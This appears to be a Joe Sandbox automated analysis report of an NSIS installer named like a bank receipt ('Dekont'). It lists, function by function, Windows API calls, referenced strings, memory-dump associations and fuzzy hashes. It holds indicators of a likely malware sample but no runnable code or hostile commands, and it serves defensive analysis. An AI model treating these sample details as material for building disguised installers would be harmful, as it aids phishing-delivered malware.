Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 9b519c14120aa80628a1efb59fa06e72263f7c501841ac8fb024acedf13bc814
Instruction ID: d46549913b6b20842cf1787bef5cc60fb31ae9cbf3b8bb231415db86ef2d3bba
Opcode Fuzzy Hash: 9b519c14120aa80628a1efb59fa06e72263f7c501841ac8fb024acedf13bc814
Instruction Fuzzy Hash: 9D3135712017157BD2206B218D48F6B3A5CDF45754F15003AFE82FA2C3DA3CE9218ABD

Function 004066C0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00406723
CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406732
CharNextW.USER32(?,00000000,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00406737
CharPrevW.USER32(?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 0040674A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004066C1
*?|<>/":, xrefs: 00406712
"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe", xrefs: 004066C0

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2605391687
Opcode ID: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
Instruction ID: 9627fccf098e727a5900f08bdddf05a21b4f43d755832024a56349c67539c63f
Opcode Fuzzy Hash: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
Instruction Fuzzy Hash: F2110D1580061295DB303B548C84A7B62F8EF5879CF52843FED96732C0E77D8C9286BD

Function 004043CE Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043EB
GetSysColor.USER32(00000000), ref: 00404429
SetTextColor.GDI32(?,00000000), ref: 00404435
SetBkMode.GDI32(?,?), ref: 00404441
GetSysColor.USER32(?), ref: 00404454
SetBkColor.GDI32(?,?), ref: 00404464
DeleteObject.GDI32(?), ref: 0040447E
CreateBrushIndirect.GDI32(?), ref: 00404488

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction ID: dd0feedb065fecc26b382c70af4fe1a3d395924493241b124500faa7aa9dc668
Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction Fuzzy Hash: 7C2174B15007059BCB30DF78DA08B5BBBF8AF81714B05892EE992B26E1D734E904DB58

Function 004026E4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402750
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 0040278B
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 004027AE
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 004027C4

Part of subcall function 00405FE8: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405FFE

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 00402870

Strings

9, xrefs: 00402733

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 939078a54e4475671e6551d3fd19772fabc7f31a6bf9158e4a480f344115c940
Instruction ID: fc85df120a24998764995467ff6edc9a451c04e372c05a6abf1f77cf4653f2d7
Opcode Fuzzy Hash: 939078a54e4475671e6551d3fd19772fabc7f31a6bf9158e4a480f344115c940
Instruction Fuzzy Hash: 5C51F975D00219ABDF20DF95CA89AAEBB79FF04344F10817BE501B62D0E7B49D828B58

Function 00405479 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,00425A20,762323A0,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
lstrlenW.KERNEL32(004033B0,0042C248,00000000,00425A20,762323A0,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
lstrcatW.KERNEL32(0042C248,004033B0,004033B0,0042C248,00000000,00425A20,762323A0), ref: 004054D4
SetWindowTextW.USER32(0042C248,0042C248), ref: 004054E6
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 595c87a6c684e3cc3ecfa7d9121cf0e7c522785301409aa9d6fada1dea414851
Instruction ID: 1ccddca99fa11d5427df38f31253403cabd393798f33362a1a37d4b4032a7ea7
Opcode Fuzzy Hash: 595c87a6c684e3cc3ecfa7d9121cf0e7c522785301409aa9d6fada1dea414851
Instruction Fuzzy Hash: 42219A71900518BBCB219F95DD85ACFBFB9EF45354F10803AF904B22A0C7798A908FA8

Function 00404D22 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D3D
GetMessagePos.USER32 ref: 00404D45
ScreenToClient.USER32(?,?), ref: 00404D5F
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D71
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D97

Strings

f, xrefs: 00404D73

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 7205eec21020573454be23e67ac2b5f41aa1c09cc3aa20a5ad054807a565c042
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 63014C71900219BADB00DBA4DD85BFEBBBCAF54B11F10012BBA50F61C0D7B49A058BA5

Function 00401E4E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED3

Strings

Calibri, xrefs: 00401EB9

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: ff5e119c1dfec186f1bc31a23d162186e9d3ca2dfc2df7b145d176ccd9f6b251
Instruction ID: 39ccdc2dc8d2035913c0323839c6798354fd507b9908b2fcb43e3dcb67b0f82d
Opcode Fuzzy Hash: ff5e119c1dfec186f1bc31a23d162186e9d3ca2dfc2df7b145d176ccd9f6b251
Instruction Fuzzy Hash: C6019271904240EFE7005BB0EE4AB9A3FB4BB15300F208A3AF141B75E2C6B904458BED

Function 00402F2B Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402F49
MulDiv.KERNEL32(00031200,00000064,000A0483), ref: 00402F74
wsprintfW.USER32 ref: 00402F84
SetWindowTextW.USER32(?,?), ref: 00402F94
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402FA6

Strings

verifying installer: %d%%, xrefs: 00402F7E

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 5b1bc627dd36a5102c32c12b14091c8dec43231046f13c1edcd0296a8f8e997f
Instruction ID: 5483d255828af9cef8fcdd630f22e0c0956a10275527037d70a62c30cec8c61f
Opcode Fuzzy Hash: 5b1bc627dd36a5102c32c12b14091c8dec43231046f13c1edcd0296a8f8e997f
Instruction Fuzzy Hash: 29014471640209BBEF209F60DE49FEA3B79FB04344F008039FA06A51D0DBB995559F58

Function 6FDC25B5 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6FDC121B: GlobalAlloc.KERNELBASE(00000040,?,6FDC123B,?,6FDC12DF,00000019,6FDC11BE,-000000A0), ref: 6FDC1225

GlobalFree.KERNEL32(?), ref: 6FDC26A3
GlobalFree.KERNEL32(00000000), ref: 6FDC26D8

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 824973d6c0d3946fcd41c368fe20bc1a611b2914cbdf89fc6f9dcdfe2b605906
Instruction ID: a1e707381c353f3882b1c52453d2daa5c7af41305edad206acda5cd4460cbe25
Opcode Fuzzy Hash: 824973d6c0d3946fcd41c368fe20bc1a611b2914cbdf89fc6f9dcdfe2b605906
Instruction Fuzzy Hash: 3F31EF35284602EFDB558F68CD84C2A77BEFB8732A3195269F18083250CB30B815EB72

Function 00402947 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 0040299B
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029B7
GlobalFree.KERNEL32(?), ref: 004029F0
GlobalFree.KERNEL32(00000000), ref: 00402A03
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402A1B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402A2F

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: a5ba4848feea4339aca0bd9ed9ef3b7077546e738993ad0ee054be50b6b812c9
Instruction ID: 6d3b5365c2144e4253305efdfeae8c7c86b7c4bf3cccdf3f9a106f7510f1e1f6
Opcode Fuzzy Hash: a5ba4848feea4339aca0bd9ed9ef3b7077546e738993ad0ee054be50b6b812c9
Instruction Fuzzy Hash: 6121BD71800124BBCF216FA9DE49D9F7E79EF05364F10023AF560762E1CB784D419BA8

Function 00405DEE Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

Part of subcall function 00405D91: CharNextW.USER32(?,?,bismers\Phytotomist54.off,?,00405E05,bismers\Phytotomist54.off,bismers\Phytotomist54.off, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405D9F
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DA4
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DBC

lstrlenW.KERNEL32(bismers\Phytotomist54.off,00000000,bismers\Phytotomist54.off,bismers\Phytotomist54.off, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405E47
GetFileAttributesW.KERNEL32(bismers\Phytotomist54.off,bismers\Phytotomist54.off,bismers\Phytotomist54.off,bismers\Phytotomist54.off,bismers\Phytotomist54.off,bismers\Phytotomist54.off,00000000,bismers\Phytotomist54.off,bismers\Phytotomist54.off, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 00405E57

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DEE
4#v, xrefs: 00405DF0
bismers\Phytotomist54.off, xrefs: 00405DF4, 00405DF9, 00405DFF, 00405E40, 00405E46, 00405E4E, 00405E56

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4#v$C:\Users\user\AppData\Local\Temp\$bismers\Phytotomist54.off
API String ID: 3248276644-1171816837
Opcode ID: d647ba489e44e4c384e8f234fc99267bc74e37b9af3ba258ec0477dc6db0c33a
Instruction ID: 87735b5e832f2f8e04389b482ed260ad6458a913df04a2d72dce2697f876d431
Opcode Fuzzy Hash: d647ba489e44e4c384e8f234fc99267bc74e37b9af3ba258ec0477dc6db0c33a
Instruction Fuzzy Hash: A5F0F435104D2216C63233369D09AAF1548CE82364759453BF8D1B22D1DB3C8B838CED

Function 6FDC18D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6FDC193A
GlobalFree.KERNEL32(?), ref: 6FDC1ADA
GlobalFree.KERNEL32(?), ref: 6FDC1ADF

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 24901b70b1df9495330baa43484a7449f1a176afdfb9432a78991b15325da858
Instruction ID: fcf5309f720d908ca5b42128929b7dc6412efaa49acc49737742fa56f843b804
Opcode Fuzzy Hash: 24901b70b1df9495330baa43484a7449f1a176afdfb9432a78991b15325da858
Instruction Fuzzy Hash: A851C536D04279DA9B809FB885406ADB6BDEF46358F01835BD414E7250DB71BE8387A3

Function 6FDC23E0 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6FDC2522

Part of subcall function 6FDC122C: lstrcpynW.KERNEL32(00000000,?,6FDC12DF,00000019,6FDC11BE,-000000A0), ref: 6FDC123C

GlobalAlloc.KERNEL32(00000040), ref: 6FDC24A8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6FDC24C3

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 002911cc44c11bad91e3d916b8bff52e8e792d654773a69e0bbd9baccb6cf6d2
Instruction ID: 4c1f0990a90dd0ad008f71ec746a1da5d58f96adc19ba45c385a87752c338c7c
Opcode Fuzzy Hash: 002911cc44c11bad91e3d916b8bff52e8e792d654773a69e0bbd9baccb6cf6d2
Instruction Fuzzy Hash: E341CDB4048306DFD795DF688880A6B77BCFB5A32AB005A6DE886C7181DB30B544DB63

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
